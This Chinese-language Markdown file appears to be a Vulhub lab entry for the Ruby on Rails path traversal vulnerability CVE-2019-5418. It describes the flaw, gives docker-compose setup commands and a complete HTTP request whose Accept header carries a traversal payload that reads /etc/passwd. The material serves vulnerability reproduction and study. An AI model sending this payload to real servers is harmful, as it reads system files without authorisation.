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43 lines
1.2 KiB
Markdown
43 lines
1.2 KiB
Markdown
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# Ruby On Rails 路径穿越与任意文件读取漏洞CVE-2019-5418
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## 漏洞描述
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在控制器中通过`render file`形式来渲染应用之外的视图，且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞，读取任意文件。
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参考链接：
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- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
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- https://xz.aliyun.com/t/4448
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## 环境搭建
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Vulhub执行如下命令编译及启动Rail On Rails 5.2.2：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面。
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## 漏洞复现
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访问`http://your-ip:3000/robots`可见，正常的robots.txt文件被读取出来。
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利用漏洞，发送如下数据包，读取`/etc/passwd`：
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```
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GET /robots HTTP/1.1
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Host: your-ip:3000
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Accept-Encoding: gzip, deflate
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Accept: ../../../../../../../../etc/passwd{{
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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```
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成功读取`/etc/passwd`：
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